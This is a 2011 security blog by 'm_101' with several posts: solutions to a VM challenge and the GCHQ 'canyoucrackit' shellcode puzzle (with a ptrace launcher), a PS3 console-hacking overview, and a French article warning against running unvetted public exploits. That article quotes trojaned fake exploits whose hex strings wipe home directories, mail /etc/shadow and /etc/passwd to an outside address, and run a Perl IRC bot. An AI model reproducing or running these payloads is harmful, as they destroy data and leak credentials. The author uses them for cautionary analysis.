 38 : 0x260 : cf 45 46 67 20 7d 44 14 6b 45 6d 54 03 17 60 62 | .EFg }D.kEmT..`b
 39 : 0x270 : 55 5a 4a 66 61 11 57 68 75 05 62 36 7d 02 10 4b | UZJfa.Whu.b6}..K
 40 : 0x280 : 08 22 42 32 ba e2 b9 e2 d6 b9 ff c3 e9 8a 8f c1 | ."B2............
 41 : 0x290 : 8f e1 b8 a4 96 f1 8f 81 b1 8d 89 cc d4 78 76 61 | .............xva
 42 : 0x2a0 : 72 3e 37 23 56 73 71 79 63 7c 08 11 20 69 7a 14 | r>7#Vsqyc|.. iz.
 43 : 0x2b0 : 68 05 21 1e 32 27 59 b7 cf ab dd d5 cc 97 93 f2 | h.!.2'Y.........
 44 : 0x2c0 : e7 c0 eb ff e9 a3 bf a1 ab 8b bb 9e 9e 8c a0 c1 | ................
 45 : 0x2d0 : 9b 5a 2f 2f 4e 4e 00 00 00 00 00 00 00 00 00 00 | .Z//NN..........
 46 : 0x2e0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
 47 : 0x2f0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

So you can see our decoded string is GET ...
[+] Initializing VM CPU
[+] Executing bytecode
[+] Finished executing bytecode
[+] Answer: 'GET /da75370fe15c4148bd4ceec861fbdaa5.exe HTTP/1.0'

But after the GET, we have 256+ bytes that has not been modified in any way ...
Someone found what it is? (and no it does not seem to be a valid 7zip file :().

Conclusion

This level was more interesting and more programming related.
Implementing a VM was something I never did before ... but was fun :).
Any person who did some "Computer Science" should thus be able to solve this level without much difficulties.

To be continued on the next level ...

m_101

- My solutions: here

jeudi 1 décembre 2011

GCHQ Challenge Part 1 - http://www.canyoucrackit.co.uk/

Hello,

As I have seen that many people already posted their solutions ... I do not see the point of keeping mine :). Here it is.

Today I stumbled upon a challenge that seems to come from GCHQ itself.
GCHQ is basically part of the UK's Secret Service.

An article describing a bit the recruitment campaign:
GCHQ challenges codebreakers via social networks

Anyway, the challenge is located here:
http://www.canyoucrackit.co.uk/

The challenge is divided in 3 parts, the first part of which we see on the front page of the website.

Let's break it!


The challenge

We have a picture with hex digits:




From there, I've got 2 theories of what that is:
- raw data
- machine code

First of all, we need to get those "hex digits" down to binary form and hell yeah ... we're lazy:
$ gocr cyber.png

You get most of the digits but you have to fix it to get this:

eb 04 af c2 bf a3 81 ec  OO 01 OO OO 31 c9 88 Oc
Oc fe c1 75 f9 31 cO ba  ef be ad de 02 04 Oc OO
dO c1 ca 08 8a 1c Oc 8a  3c 04 88 1c 04 88 3c Oc
fe c1 75 e8 e9 5c OO OO  OO 89 e3 81 c3 04 OO OO
OO 5c 58 3d 41 41 41 41  75 43 58 3d 42 42 42 42
75 3b 5a 89 d1 89 e6 89  df 29 cf f3 a4 89 de 89
d1 89 df 29 cf 31 cO 31  db 31 d2 fe cO 02 1c 06
8a 14 06 8a 34 1e 88 34  06 88 14 1e OO f2 30 f6
8a 1c 16 8a 17 30 da 88  17 47 49 75 de 31 db 89
d8 fe cO cd 80 9O 9O e8  9d ff ff ff 41 41 41 41

Okay, let's check the raw data we have:

$ hexdump -C gchq-part1.bin 
00000000  eb 04 af c2 bf a3 81 ec  00 01 00 00 31 c9 88 0c  |............1...|
00000010  0c fe c1 75 f9 31 c0 ba  ef be ad de 02 04 0c 00  |...u.1..........|
00000020  d0 c1 ca 08 8a 1c 0c 8a  3c 04 88 1c 04 88 3c 0c  |........<.....<.|
00000030  fe c1 75 e8 e9 5c 00 00  00 89 e3 81 c3 04 00 00  |..u..\..........|
00000040  00 5c 58 3d 41 41 41 41  75 43 58 3d 42 42 42 42  |.\X=AAAAuCX=BBBB|
00000050  75 3b 5a 89 d1 89 e6 89  df 29 cf f3 a4 89 de 89  |u;Z......)......|
00000060  d1 89 df 29 cf 31 c0 31  db 31 d2 fe c0 02 1c 06  |...).1.1.1......|
00000070  8a 14 06 8a 34 1e 88 34  06 88 14 1e 00 f2 30 f6  |....4..4......0.|
00000080  8a 1c 16 8a 17 30 da 88  17 47 49 75 de 31 db 89  |.....0...GIu.1..|
00000090  d8 fe c0 cd 80 90 90 e8  9d ff ff ff 41 41 41 41  |............AAAA|

I do not recognize any particular magic header value (no MZ or ELF or any executable related.
Let's go on our second hypothesis.

Is it machine code?

The first thing that set up red flags about machine code is the first byte: 0xeb!
0xeb for anyone used to shellcode is the opcode corresponding to an inconditionnal jmp on x86 processors.

I believe there must be some construct like this (as usual) or not too far from it:
jmp savepc

getpc:
     pop pc
     jmp payload

savepc:
     call getpc

payload:

For disassembling the file, I used ndisasm and cleaned a bit with some custom tools and vim.

Let's see the reconstructed code:

bits 32

section .text
    global main

main:
    jmp short begin

key0: dd 0xa3bfc2af

; let's make some space for our buffer!
begin:
    sub esp, 0x100

; we init our buffer with value from 0 to 255
xor ecx, ecx
init_array:
    mov [esp+ecx], cl
    inc cl
    jnz init_array

; shuffle values in the array
xor eax, eax
mov edx, 0xdeadbeef
shuffle:
    add al, [esp+ecx]   ; al += array[ecx]
    add al, dl          ; index = al + dl
    ror edx, 0x8        ; every 4 rotations we get our original value ;)
    ; we swap values
    mov bl, [esp+ecx]   ; bl = array[ecx]
    mov bh, [esp+eax]   ; bh = array[ecx]
    mov [esp+eax], bl   ; array[eax] = bl
    mov [esp+ecx], bh   ; array[ecx] = bh
    inc cl              ; go forward in our array
    jnz shuffle

    jmp dword save_pc

get_encoded:
    mov ebx, esp                ; pointer ebx to ret address on stack
    add ebx, strict dword 0x4   ; address of array (ignoring the ret address on the stack ;))
    pop esp                     ; esp = program counter (point after the call to get_encoded)
    pop eax                     ; first 4 bytes after the call
    cmp eax, 0x41414141
    jnz exit

    pop eax                     ; next 4 bytes after the call
    cmp eax, 0x42424242
    jnz exit

    ; copy message to buffer in stack
    pop edx         ; get length of message 
    mov ecx, edx    ; ecx = len(msg)
    mov esi, esp    ; esi = &msg
    mov edi, ebx    ; edi = address of array
    sub edi, ecx    ; edi = ebx - len(msg) = start of dest area
    rep movsb       ; copying the message to the stack (writing over array)

; init for decoding encoded message
    mov esi, ebx    ; esi = &buffer
    mov ecx, edx    ; ecx = len(msg)
    mov edi, ebx    ; edi = &buffer
    sub edi, ecx    ; edi = ebx - len(msg) = start of dest area
    xor eax, eax
    xor ebx, ebx
    xor edx, edx

; loop for decoding the secret message
decode:
    inc al
    add bl, [esi+eax]   ; get one byte of encoded message
    mov dl, [esi+eax]   ; get one byte of encoded message
    mov dh, [esi+ebx]   ; get one byte of encoded message
    ; swap values back
    mov [esi+eax], dh
    mov [esi+ebx], dl
    add dl, dh          ; get index
    ; decode byte
    xor dh, dh          
    mov bl, [esi+edx]   ; get key
    mov dl, [edi]       ; get encoded byte
    xor dl, bl          ; decode byte
    ; save byte
    mov [edi], dl
    ; loop
    inc edi
    dec ecx
    jnz decode

exit:
    xor ebx, ebx
    mov eax, ebx
    inc al
    int 0x80

save_pc:
    nop
    nop
    call dword get_encoded

junk1: dd 0x41414141

The first part (init_array and shuffle) looks like some RC4 variant.
Then we decode it using our RC4 variant ... but wait ... there is data missing!
Where is the encoded message?

If you look at the beginning of the PNG file you can see an encoded base64 string:

00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 02 e4 00 00 01 04  08 02 00 00 00 ef 6a b6  |..............j.|
00000020  2d 00 00 00 01 73 52 47  42 00 ae ce 1c e9 00 00  |-....sRGB.......|
00000030  00 09 70 48 59 73 00 00  0b 13 00 00 0b 13 01 00  |..pHYs..........|
00000040  9a 9c 18 00 00 00 07 74  49 4d 45 07 db 08 05 0e  |.......tIME.....|
00000050  12 33 7e 39 c1 70 00 00  00 5d 69 54 58 74 43 6f  |.3~9.p...]iTXtCo|
00000060  6d 6d 65 6e 74 00 00 00  00 00 51 6b 4a 43 51 6a  |mment.....QkJCQj|
00000070  49 41 41 41 43 52 32 50  46 74 63 43 41 36 71 32  |IAAACR2PFtcCA6q2|
00000080  65 61 43 38 53 52 2b 38  64 6d 44 2f 7a 4e 7a 4c  |eaC8SR+8dmD/zNzL|
00000090  51 43 2b 74 64 33 74 46  51 34 71 78 38 4f 34 34  |QC+td3tFQ4qx8O44|
000000a0  37 54 44 65 75 5a 77 35  50 2b 30 53 73 62 45 63  |7TDeuZw5P+0SsbEc|
000000b0  59 52 0a 37 38 6a 4b 4c  77 3d 3d 32 ca be f1 00  |YR.78jKLw==2....|
000000c0  00 20 00 49 44 41 54 78  da ec bd 79 74 1c d5 b5  |. .IDATx...yt...|

The base64 string "QkJCQjIAAACR2PFtcCA6q2eaC8SR+8dmD/zNzLQC+td3tFQ4qx8O447TDeuZw5P+0SsbEcYR78jKLw=" decodes to the following:

junk2: dd 0x42424242
msg_length: dd 0x00000032
msg_encoded: db `\x91\xd8\xf1\x6d\x70\x20\x3a\xab\x67\x9a\x0b\xc4\x91\xfb\xc7\x66\x0f\xfc\xcd\xcc\xb4\x02\xfa\xd7\x77\xb4\x54\x38\xab\x1f\x0e\xe3\x8e\xd3\x0d\xeb\x99\xc3\x93\xfe\xd1\x2b\x1b\x11\xc6\x11\xef\xc8\xca\x2f`


It is a NASM source which correspond bit to bit to the original gchq.bin ;).:
$ nasm gchq.asm
So the first challenge basically consist in executing the code and dumping the decoded string.

Let's dump the decoded string!

For this part, I did no want to patch the binary code as I would deem it inelegant.
Instead, I chose to write a "launcher" and ptrace our gchq code :).

Here it is:


// @author  m_101
// @year    2011
// @desc    Program for launching GCHQ code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <string.h>

// for memalign, mprotect
#include <sys/mman.h>
#include <errno.h>
#include <malloc.h>
#include <signal.h>

// ptrace
#include <sys/ptrace.h>
// for registers
#include <sys/user.h>

#define __NR_exit   1
#define MSG_LENGTH  0x32

// launch a file
int launch_file (char *filename) {
    //
    char *mem;
    void (*func)();
    // file related
    FILE *fp;
    int szFile;

    if (!filename)
        return -1;

    // open file
    fp = fopen(filename, "r");
    if (!fp) {
        fprintf(stderr, "error: Failed opening (r): %s\n", filename);
        exit(1);
    }

    // get file size
    fseek(fp, 0, SEEK_END);
    szFile = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    printf("[+] File size: %d\n", szFile);

    // alloc aligned memory for file
    mem = memalign(PAGE_SIZE, szFile * sizeof(*mem));
    if (!mem) {
        printf("[-] error: %s\n", strerror(errno));
        return 1;
    }
    memset(mem, 0, szFile * sizeof(*mem));

    // fill mem
    fread(mem, sizeof(*mem), szFile, fp);

    // set permissions
    if (mprotect(mem, szFile * sizeof(*mem), PROT_READ | PROT_WRITE | PROT_EXEC)) {
        printf("[-] error: %s\n", strerror(errno));
        return 1;
    }

    // close file
    fclose(fp);

    // execute code
    printf("[+] Executing code at address %p\n", mem);
    func = (void *) mem;
    func();

    return 0;
}

void regs_show (struct user_regs_struct *regs) {
    if (!regs)
        return;

    printf("eax: 0x%08lx\n", regs->orig_eax);
    printf("ebx: 0x%08lx\n", regs->ebx);
    printf("ecx: 0x%08lx\n", regs->ecx);
    printf("edx: 0x%08lx\n", regs->edx);
    printf("esi: 0x%08lx\n", regs->esi);
    printf("edi: 0x%08lx\n", regs->edi);
    printf("ebp: 0x%08lx\n", regs->ebp);
    printf("esp: 0x%08lx\n", regs->esp);
    printf("eip: 0x%08lx\n", regs->eip);
    printf("eflags: 0x%08lx\n", regs->eflags);
    printf("cs: 0x%08lx\n", regs->xcs);
    printf("ds: 0x%08lx\n", regs->xds);
    printf("es: 0x%08lx\n", regs->xes);
    printf("fs: 0x%08lx\n", regs->xfs);
    printf("gs: 0x%08lx\n", regs->xgs);
    printf("ss: 0x%08lx\n", regs->xss);
}

int main (int argc, char *argv[]) {
    int retcode;
    pid_t cpid;
    struct user_regs_struct regs = {0};
    int cstatus;
    // for ptrace
    int syscall;
    // dump memory of child process
    char decoded[MSG_LENGTH * 2] = {0};
    uint32_t word;
    uint32_t addr;
    int offset;


    // check number of arguments
    if (argc < 2) {
        printf("Usage: %s filename\n", argv[0]);
        return -1;
    }

    cpid = fork();
    // child
    if (cpid == 0) {
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        raise(SIGTRAP);
        launch_file(argv[1]);
    }
    // parent
    else if (cpid > 0) {
        // wait for child
        waitpid(cpid, &cstatus, 0);

        // trace the process to arrive to the exit syscall
        do {
            // get at syscall entry
            ptrace(PTRACE_SYSCALL, cpid, NULL, NULL);
            waitpid(cpid, &cstatus, 0);

            // get registers of child process
            ptrace(PTRACE_GETREGS, cpid, NULL, ®s);
            syscall = regs.orig_eax;

            // we are at exit syscall
            // then we finish the loop and do more processing
            if (syscall != __NR_exit) {
                // wait for syscall to complete
                // and avoid exiting process
                ptrace(PTRACE_SYSCALL, cpid, NULL, NULL);
                waitpid(cpid, &cstatus, 0);
            }
        } while (syscall != __NR_exit);

        // get registers of child process
        ptrace(PTRACE_GETREGS, cpid, NULL, ®s);
        printf("== Registers\n");
        regs_show(®s);

        // dump decoded string
        addr = regs.esi - MSG_LENGTH;
        for (offset = 0; offset < MSG_LENGTH; offset += 4) {
            word = ptrace(PTRACE_PEEKDATA, cpid, addr + offset, NULL);
            // printf("word: 0x%08x\n", word);
            *((uint32_t *)(decoded+offset)) = word;
        }
        printf("\n[+] Decoded string: '%s'\n", decoded);

        // continue process (so it exits)
        ptrace(PTRACE_CONT, cpid, NULL, NULL);
    }
    // error
    else {
        printf("Failed fork\n");
    }

    return 0;
}

Now compile it using this command line:
$ gcc -m32 -g -o launcher launcher.c

You can now launch it:
$ ./launcher ./gchq 
[+] File size: 218
[+] Executing code at address 0x832f000
[+] Decoded string: 'GET /15b436de1f9107f3778aad525e5d0b20.js HTTP/1.1'

Pawned :).

Conclusion

Here we saw the first challenge of the GCHQ recruitment campaign, not too hard or not to bad for a first level :).

To be continued on the next level ;),

m_101

- My solutions: here

mercredi 16 novembre 2011

PS3 Hacking (Part 2) - FAQ

Hello,

Let's go on for PS3 Hacking part 2 :).

FAQ! Frequently Asked Questions


Why do everybody want the lv0 keys so badly even though they might not know how to use them?


WAREZ ... WAREZ ... EVEN MORE WAREZ ...

Homebrew has been attain with firmware <= 3.55 ... so heh ;).
Personnaly, I'm not interested in CFW ... more interested in the technical details than anything else here :).


Why nobody want to release the lv0 keys?


Really you're asking this question? ... Reread first question ... and look at geohot's legals problems back in January ;).

Basically, you released these keys and Sony will sue you to death ... :s.


Huh ok ... how does having lv0 keys allow us to have custom firmwares if we don't have actual loaders private keys (for signing)?

As waninkoko explained, we don't need the ldr private keys (as long as we have the earliest ldr keys ;)).

We decrypt everything using the first loader key (either metldr < 3.60 or lv0 >= 3.60), make the wanted modifications. Afterward, we can change all the public keys (and thus we would have our private keys), re-encrypt them all. Done you've got a custom firmware.

Waninkoko Speaks About Creating v3.61 CFW

How do they disallow homebrew on newer firmwares then if we can still sign it and that they can't revoke the keys?

They make use of whitelisting. They reference each and every games that were made for the PS3 ... any games not in there will not get launched.

Here a place where they speak about PS3 whitelisting: http://psx-scene.com/forums/f118/application-whitelist-96728/

For an explanation of what are the differences of whitelisting and blacklisting here: Whitelisting vs. Blacklisting


Moreover, they can change most keys they want on the latest hardware revisions. But since the update file "has to be" compatible with older hardware ... any currently manufactured hardware could be theoretically pawned.


For people wondering why the PS3 can not be totally resecured


Mathieulh's thoughts on resecuring the PS3: PS3 3.56 Firmware A Minor Drawback To Hackers .

Basically, the problem Sony encounter while trying to resecure the PS3: compatibility.
The boot chain integrity has been compromised so possibility to reflash externally in order to run unsigned code.

They could try to have 2 files for updates:
- 1 file for the old consoles
- 1 file for the new consoles
Would it be a possibility to "resecure" the PS3? Maybe ... who knows?
If that is the case, only the new PS3 (changed keys, changed hardware revision, etc) would be secured again. Old console ... no way.

(to be continued ...)

That's it for now,

You've got everything needed to understand PS3 actual pawning state ;),

Cheers,

m_101

PS3 Hacking (Part 1) - Exploitation


Hello,

It's been a long time since the last time I posted :), I miss hacking bits and binaries ... but well, I read a bit for relaxing ... here it is :).

Anyway, I've been reading about PS3 a bit and it's funny to see that not a single PS3 specialized news site has been able to correctly understand the exploits they publish on a regular basis.

I have not tried to hack the PS3 yet, just reading documentation on it just out of curiosity so if any info here is wrong, do not hesitate to correct me in the comments ;). I will gladly fix any errors :).

Let's start with a bit of history.


PS3 hacking history


The PS3 got out for general consumption in 2006, but wait wait wait ... wtf is that secure system? Oh yeees! Linux compatible!

2007 ... 2008 ... 2009 ... nothing until ... 2010.

In 2010, GeoHot just played a bit with it to see what the security of the PS3 is worth ... and he managed to bypass the hypervisor and dump it using a hardware glitch trick (used for analyzing smartcards) and some virtual page management trickery (playing with HTAB and all ;).
He did it for fun ... Sony did not like it: OtherOS banned from the console!!!

Here within started the PS3 epic fail story ^^. They shouldn't have taken out OtherOS ...

Basically:
GeoHot's glitch exploit -> PSJailbreak 1 -> fail0verfl0w key calculation hack (Sony Epic Fail) -> metldr keys dumped by GeoHot -> ???

The metldr key basically allows to decrypt all ldr.
Before going into the boot order (and explain what the metldr keys fuss was all about), let's review basics of the PS3 crypto.


PS3 Cryptography 101


All the PS3 crypto is done in "isolation" using the CELL CPU as explained here: The Cell Broadband Engine processor security architecture .

The PS3 make use of AES256CBC, AES128CTR for encryption and decryption.
For the signatures, it makes use of HMAC-SHA1 and ECDSA.

Sony managed to do an EPIC FAIL yes.
Basically in Sony's ECDSA implementation, fail0verfl0w managed to find a flaw that allowed to compute private keys using simple algebra.

Instead of using a random k, Sony used a constant ...

If k is not random, we have this equation:
ss' = k − 1(zz')

Then we can compute k:
k = \frac{z-z'}{s-s'}

Since we have k, we can compute the private key dA:
d_A = \frac{s k - z}{r}

For more details: PS3 Epic Fail . Their presentation is quite interesting as it includes history of past hacks, how the SELF crypto" works and how to compute PS3 private keys (for <= 3.55) :).

For SELF file format understanding: SELF File Format and Decryption and PS3 Epic Fail .

Reminder for ECDSA: ECDSA .

So yeah basically, all the current hacks are first based off on GeoHot's and fail0verfl0w stuffs (seems like they did not get the credit they deserved).


Now that you have the background for the crypto" and the SELF file format, let's go on with the boot order :).

Boot Order



Every steps of the PS3 is encrypted (but the first step obviously).

My theory is that the first thing that decrypt the first loader is in plaintext either in software or hardware ... you can not run encrypted code directly, you first need to decrypt it ;). Thus the best place to hide this thing would be the CPU itself (if you store it in a chip on the motherboard ... game over). Unless you have some hardcore silicon hacking lab at disposal ... even you if you do.
Prove me wrong (that encrypted code can run directly on a CPU without decryption ...) ...

The boot order before 3.60:
syscon -> bootldr -> lv0 -> metldr -> lv1ldr -> lv1 -> metldr -> lv2ldr -> lv2 -> metldr -> appldr -> metldr -> isoldr -> metldr -> rvkldr

The bootldr and metldr are encrypted by a Hardware Key which is defined by console (that is one of the reason they can not be updated).
The metldr keys released by GeoHot basically allows us to decrypt all the ldrs, re-encrypt them and thus bypass any security measure.

The earlier you are in the chain, the more steps you control since all the afterhand ldr depends on previous ldrs.

The boot order after 3.60:

Damn, they changed the boot order a little bit (which makes a huge difference :p).
They "suppressed" metldr and replaced it by lv0.
lv0 now serve as the metaloader. Obviously the clever thing to do (from an engineering standpoint) is to reuse some of the metldr code and change the keys (we don't know if they did that as of now).

They could not update the metldr ... but since lv0 is updatable and run before metldr ... they removed metldr.

lv0 and below have not yet been exploited (publicly).

As soon as these get exploited (we get lv0 keys) then game over for real for the PS3.
The bootldr can not be updated and below it ... you can not update anything either (without breaking compatibility).

Theoretically, we could get lv0 private keys as old consoles were produced when Sony used their failed crypto :) (look in Mathieulh's tips section below ;)).

PS3DevWiki - Boot Order

As you can see, we have a chain of trust, so if you compromise a loader in the chain, you possibly compromised the rest of the chain ;).

Okay, let's talk about the current exploits.


Exploited vulnerabilities that would kill the Sony PS3

Before trying anything, to be on the safe side, be sure to have: Hardware Flashing in case you mess up anything that can be recovered ;).
You WILL end up with a BRICK if you are not careful and do not know what you are doing.

Mathieulh's leaked metldr exploit

Mathieulh's technical explanation of the leaked metldr exploit: How to pwn metldr the "easy" way .
More info on dumping metldr: here.

Mathieulh's tips and/or clues

He gave us many tips so people start looking: Stop bitching and whining .


"If you can exploit loaders, you can patch them on the fly and remove the signature checks, on the other hand of you dump the bootloader keys, you can also calculate the private key for lv0."

"The bootloader cannot be updated, as such the bootloader keys that decrypt lv0 cannot be changed on existing consoles, thus they remain the same since 1.00"

"The metldr keys aren’t the keys that sign metldr, they are the keys that are stored within metldr’s binary."

"In fact metldr and the bootloader aren’t selfs, as such they are signed and encrypted with different algorithms than the rest of the ps3 binaries."

Decrypt Or Dump LV0 For 3.60 CFW+ Exploit – Mathieulh

Mathieulh give hints to exploiting v3.60, talks about graf_chokolo, and Rebug

The bootloader can be reloaded multiple times: @fail0verflow I don't really care about the ps3 anymore anyway. Here is a protip before I am gone, you can load the bl more than once.

He exploited this glitch : CELL Reset Exploit as he expressly say here: Mathieul's tweet .

Dumps screenshot

About EID: EID IS NOT CODE


Other clues


RMS spoke a bit about lv0: here.

“Exploiting” firmware v3.60 (or 3.56) yourself using leaked blueprints

How to find v3.60+ Keys By SouL & DemonHades

Until someone has the balls or is crazy enough to release the exploit, obtained keys ...

And ... fail0verfl0w are coming back for 28c3 in December this year: here. We'll see what they prepared for us ;).

Just so we are clear: it mainly concerns currently released PS3, Sony is capable to release new hardware revisions that would change any keys they want. They don't do it since they release only one firmware update (so this file has to be compatible with old PS3 and new PS3).

Summary


Ok now you should have a better idea as where the current state of PS3 hacking is.

lv0 is the target, multiple clues have been given. Now more knowledge is needed to dig into it ;).
If you get lv0 keys (private and public) then it means you're also able to get it's keys. So you'll be able to sign a custom lv0 and thus execute code to go deeper and find holes.
The thing is: lv0 is so low level that ... you could brick your PS3 easily with any mistake(s) you make :s.

Anyway, I don't see the purpose of the CFW 3.60+ as we already have CFW for 3.55 => homebrew is there to stay. If people want the CFW 3.56+ so badly it's for warez ...

(to be continued ...)

m_101

samedi 23 juillet 2011

De l'importance de vérifier les exploits

Bonjour,

Aujourd'hui nous allons voir l'importance de ne pas lancer des exploits publics publiés sur exploit-db, full disclosure ou autre sans analyser la payload qui va avec.

Nombre de personnes (souvent des script kiddies), utilisent des exploits sans faire d'effort de relecture du code. En utilisant ces exploits, ils se font souvent poutré sans même le savoir :).

Le but de cet article va donc de vous montrer les dangers liés à l'exécution d'exploit sans vérification préalable. Ca permet aussi de répondre à la question: "l'ASM et la programmation ça sert à quoi pour un pentester/professionnel de la sécurité?".

IIS 6 Remote Buffer Overflow Exploit

Il y a d'autres perles du même genre comme un "exploit" sur IIS "releasé" y'a quelques années: IIS 6 Remote Buffer Overflow Exploit
.
Le sploit ressemble à ça:
char shellcode[] =
 "\x2f\x62\x69\x6e\x2f\x72\x6d\x20"
 "\x2d\x72\x66\x20\x2f\x68\x6f\x6d"
 "\x65\x2f\x2a\x3b\x63\x6c\x65\x61"
 "\x72\x3b\x65\x63\x68\x6f\x20\x62"
 "\x6c\x34\x63\x6b\x68\x34\x74\x2c"
 "\x68\x65\x68\x65";
 
 char launcher [] =
 "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73"
 "\x68\x61\x64\x6f\x77\x20\x7c\x6d\x61\x69"
 "\x6c\x20\x66\x75\x6c\x6c\x2d\x64\x69"
 "\x73\x63\x6c\x6f\x73\x75\x72\x65\x40"
 "\x6c\x69\x73\x74\x73\x2e\x67\x72\x6f\x6b"
 "\x2e\x6f\x72\x67\x2e\x75\x6b\x20";
 
 char netcat_shell [] =
 "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70"
 "\x61\x73\x73\x77\x64\x20\x7c\x6d\x61\x69"
 "\x6c\x20\x66\x75\x6c\x6c\x2d\x64\x69"
 "\x73\x63\x6c\x6f\x73\x75\x72\x65\x40"
 "\x6c\x69\x73\x74\x73\x2e\x67\x72\x6f\x6b"
 "\x2e\x6f\x72\x67\x2e\x75\x6b\x20";
 
 
 main()
 {
 
 //Section Initialises designs implemented by mexicans
 //Imigrate
 system(launcher);
 system(netcat_shell);
 system(shellcode);
 
 //int socket = 0;
 //double long port = 0.0;
 
 //#DEFINE port host address
 //#DEFINE number of inters
 //#DEFINE gull eeuEE
 
  //     for(int j; j < 30; j++)
         {
         //Find socket remote address fault
         printf(".");
         }
 //overtake inetinfo here IIS_666666^
 return 0;
 }

Trop fort! Le gars balance 3 system() et il veut nous faire croire que ça exploit un overflow?
(Et surtout vu la taille des "shellcodes" ... trop petit pour faire quoique ce soit d'intéressant sous Windows).

En se penchant rapidement sur la chose:
shellcode = "/bin/rm -rf /home/*;clear;echo bl4ckh4t,hehe"
launcher = "cat /etc/shadow |mail full-disclosure@lists.grok.org.uk"
netcat_shell = "cat /etc/passwd |mail full-disclosure@lists.grok.org.uk"

Magnifique non? Vous venez de détruire vos données et de leaker des infos (sous conditions que vous soyez logguez avec les privilèges qu'il faut ;)).
Bon c'était pas trop crédible au vu du code ...

Un connu et plus crédible.

Le fameux "0day" OpenSSH 5.2

Un beau jour durant lequel je fais mon habituel checking des news ... je tombe sur une news énormissime: il y aurait un 0day SSH en circulation Oo.
C'était après la NDH2009 (donc à mes débuts plus ou moins ;)).
Quelques jour après, on a droit à ce code qui est posté sur plusieurs mailings lists:

/* 0pen0wn.c by anti-sec group
 * ---------------------------
 * OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
 *
 *
 * Takes advantage of an off-by-one
 * bug in mapped authentication space on system
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b

char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

char shellcode[] =
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
